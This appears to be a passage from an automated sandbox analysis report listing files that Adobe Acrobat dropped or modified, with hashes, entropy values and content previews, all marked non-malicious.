SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklNUitfllXlE/HT8klEllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKfieT8skdNMa8RdWBwRd
MD5:	8676DF0CD6ECBA0FF8CB78306B12D8E6
SHA1:	99ABB9737C6BFF689F7323A16D80BFE96C9D0FA9
SHA-256:	3999D16FF5B53C4E8469817143892284E4AF2EB26F30B936DBC7777A39634A7B
SHA-512:	64C925EB7229876F33001D8D06966DC398FA5679920879CB94DD2EAD55071AA09047FEDEAE565470A1751F5EBF370C51A45A41DFD62843A2ACD66BFA62147976
Malicious:	false
Preview:	p...... ........>h..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.212630195014663
Encrypted:	false
SSDEEP:	6:kK+8tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2UiDImsLNkPlE99SNxAhUe/3
MD5:	C8CE4DADE8DAE2A2CF879295AFD1F1B3
SHA1:	4975C78F81F07D95427AF94BB073A1C03952378D
SHA-256:	837BD95BA29D2C73A32FA19807FE0F43599668F2B64C383C19485F3D1226F9CE
SHA-512:	2837CC5CBAEEC3E933FF9ABF417F05816EE6B717822731F92079A40AEC20BE33631264A3D6BE615A8D27AE09AE137747EAC4BFB75F9DB6561EF1401142C33038
Malicious:	false
Preview:	p...... ........u....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324009052637933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJM3g98kUwPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GMbLUkee9
MD5:	52FA1E32E0080F8CEE7B0423F8E5BF5A
SHA1:	42606C2CA2AA9AD08784F6C2FB10DCFAC5F6D306
SHA-256:	1306E0EEF814192C347114975CF9C4715282A39CBAE8EE3C21E160A9C56FE705
SHA-512:	105CDD84E45EDE27BCF0F22ADBD63F29AFEF3ECC44849CE776B9589D10AA696F35E7328D8BE3FD413D3844CCC23574EA856BF334FF76D0082AF07B3B651F0DA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256005708558204
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfBoTfXpnrPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GWTfXcUkee9
MD5:	455CA519D593F1E9DC6BE8E7AE285893
SHA1:	CA48FDCC7AD23910C22A5DA32B950CEC173BBEF6
SHA-256:	E829FFFD7C6C209F4883FBA65C66F2D0F087858E02B9DEFC94200D2A68A35E07
SHA-512:	3E02B222C9737F774695EB2C506231DBC02FE2B0A3C324B0381CE314D7F17A3AAF589518A72AC1F833C9403BB18EA3563434A9BF9D8E12F1C36F3BED762C254F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.23376677893003
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfBD2G6UpnrPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GR22cUkee9
MD5:	A6ADA0C5317CD1CEF06A9DB2C8803B7B
SHA1:	DBDD1BD51F84D4D12EBDD9D67D70812F4988C20E
SHA-256:	22AAF1456D09BF100363521AC648EF89C196980A5DD8CD952626B265BA73D32B
SHA-512:	B5E2E67E6679041A5B3EE741442FFF00219F8FEF97563AD3C2B3656E6E3B6EF7AB8E75C4650C7B1DA882E2FA65896514007390B9821EB52F5F7F736AD6EF0D0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.299576745369921
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfPmwrPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GH56Ukee9
MD5:	A2241C142A38A3B7F0D08B69DFD9362C
SHA1:	1FC41CD28B520D128770F9A0408E4AB7D0662EAA
SHA-256:	9FDB094A6ECEBE11344BF1DB2E80F85A8F04FC197DCD5B051BE391626ABC0DA7
SHA-512:	4B268494EF440EA554019D95911B24BAD97D796F5A312CBE99B88F9759C344692FB4F70F07C3D90444F1FB5E6727F0F3DB1FAE542D26156C209C6D773E0D5A26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690434138066522
Encrypted:	false
SSDEEP:	24:Yv6XGuX42JhWepLgE9cQx8LennAvzBvkn0RCmK8czOCCS26:YvMnJh5hgy6SAFv5Ah8cv/26
MD5:	BA0A6798639A41BDAABB6309E6568E6C
SHA1:	E5BD04325EECC33D098C476A7A82491F99B9F8FD
SHA-256:	EA82A10C93C9730C64062F236028EE9F10B36015EDC9D1E975A1AB93C9B8884C
SHA-512:	91478A0429D2B9526D791D378F59900F8CD4F1A64C5B8B6D74AD26EE81F53CF3C7D130AD94FE8E91B51BAF3C46ABFA9AEBD9D041ED32CFFDC824802E2FBD0D0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.248958648402352
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJf8dPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GU8Ukee9
MD5:	71283750727CAFFC1DF537F2061BA370
SHA1:	34B9297001AF849F9109A44A4D27A6012C00673B
SHA-256:	BC637070242F7C3937AE7A08246DB1EE2BFED9826EDF99E541B8F7531FA098F5
SHA-512:	0F9286651934C2BC0EE619778C6D9E2EABE978D596D1705639B334D9B8B46B6A4E5C52B7B821CCAB7D8439914CC25E28313C15F1D1462758761D376CB9CDF590
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.248162013491777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfQ1rPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GY16Ukee9
MD5:	B92315BB22108017B9092FDB3F9EC62F
SHA1:	51D9C12309D1761FD92B52AC164BB257F1684D89
SHA-256:	09F6BE2269C10BD0F1B995386CDD5651A25A0A14ADAB96E1020B84A865B20EA7
SHA-512:	D5EDAFD9A88ED5177F3A6CF83035A8D888649A47BC85DEE83BF70724C8F6A26CEFCB76ABD21C571E2601676AE6BDA0521AF510F761D665876FF9B4C066F47124
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266563669438463
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfFldPeUkwRe9:YvXKXFEuX42vR/ZwHAS5Gz8Ukee9
MD5:	0AC7878C0B14C160D328113C43928565
SHA1:	6A87CD82186DD9C9C17CB76617819839798B3A08
SHA-256:	D4BD6F6308610B63596A38BE6AA4247A34C8935ABFD7BC6667E63ED33D756E4D
SHA-512:	E5D75B5E8D9121D62229458B4409882662EE0788CF37B70CC684FDC6A86CABF1E6D834745B1EF6678789BA8F5A9BAE8C6D42B6627F619038CA561BCA277BD9E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.278597815161391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfzdPeUkwRe9:YvXKXFEuX42vR/ZwHAS5Gb8Ukee9
MD5:	F989B85650DC30EEB52F08FA8E51E6E3
SHA1:	F2D2AFA9E1576DAB3680E5F6C441C538BDA26FAD
SHA-256:	063907C89D536901E3251CC4D48AB9397FE91FBA27CCD7F277258EFC59C97466
SHA-512:	48949825BEA1F2FE5D377F23C795EC9DC44B99A953791FC31EC252E2ACBB22E38883B52C15D1148BED015031CD735B3DA06EEBD37616E8C588EB13F3B8FF0FC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258672686551749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfYdPeUkwRe9:YvXKXFEuX42vR/ZwHAS5Gg8Ukee9
MD5:	3136C70B0278B6CC7567000609406504
SHA1:	D149354DF981B7DE33091EB10C700BBEDDED925B
SHA-256:	754322D614A9D54E16F1900CF4F4DF50ADF73F34A4D258007E64961C66D1D4B1
SHA-512:	0093E3C032AC57E4AEDFF4C732013D9722AB220D54388E2383384F5B87E01230906211BB75F39A719B0D7953D5E98B1F29009B437D45067551FDB3AB5A9BDFC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2442944567556395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJf+dPeUkwRe9:YvXKXFEuX42vR/ZwHAS5G28Ukee9
MD5:	B41B331D6A7430E6ADD3686F3115C018
SHA1:	E4582F5A6E6DEDAE767D6F2E4E628A5DD5E9E8F7
SHA-256:	BAA95F9ED6746BB6F2607E013C33260FA7664D8190C99F037DC177A36E49AC7E
SHA-512:	0F01A7090A4AD4D55377E61CE556B68E9EC7BD127A64D170309075EE56CF2343B0E611E19588CA9DC2A29D375C96689572211FDBEA9A40BFD77B5C5821706894
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.242503820744157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfbPtdPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GDV8Ukee9
MD5:	CA53EE21135C1A1DC18307516C7DC3B3
SHA1:	5D5BC1CC43E07D89008C270BDFB291EE142C9615
SHA-256:	38E44EB96939591B1531EC8863C1585C1211AF38AD8AFA10AAF4CC993B9EE54B
SHA-512:	B20B691C054EAA1F126E2863B41796D667C77EA82ACC9EC63B92A869B2F4FC48932FC2F256A620CB664E38D45BD67795ACEB0ED949BC874FAE2D7314F34F2E66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2412706038378545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJf21rPeUkwRe9:YvXKXFEuX42vR/ZwHAS5G+16Ukee9
MD5:	C95D91E1F46DCDA3A979038454501710
